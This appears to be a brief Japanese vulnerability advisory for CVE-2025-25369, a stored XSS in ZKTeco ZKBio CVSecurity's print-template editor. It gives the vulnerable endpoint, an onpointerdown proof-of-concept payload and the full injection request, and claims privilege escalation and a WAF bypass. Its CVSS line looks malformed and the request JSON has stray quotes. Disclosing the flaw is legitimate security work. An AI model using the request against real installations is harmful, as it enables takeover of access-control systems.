CVE-2025-25369: ZKTeco ZKBio CVSecurity v.6.4.1 のクロスサイトスクリプティング（XSS）脆弱性

ZKBio CVSecurity v.6.4.1 に XSS 脆弱性が発見されました。攻撃者は Template Editor の権限でこの脆弱性を悪用し、権限を管理者に昇格させる可能性があります。組み込み WAF のバイパスも実装されています。これにより、システムが完全に侵害される可能性があります。

影響を受けるバージョン: ZKBio CVSecurity <= v.6.4.1
修正バージョン: -

CVSS スコア: 4.3（低） ベクター: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

影響を受けるコンポーネント:

zkbiosecurity/system/remote/BasePrintTemplateRemote.class
basePrintTemplate.do?savePrintTemplate

攻撃ベクトル:

印刷可能なテンプレート作成時の XSS 注入

ペイロード:

onpointerdown="prompt(8)"

リクエストの全データ:

[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]

CVE-2025-25369

人気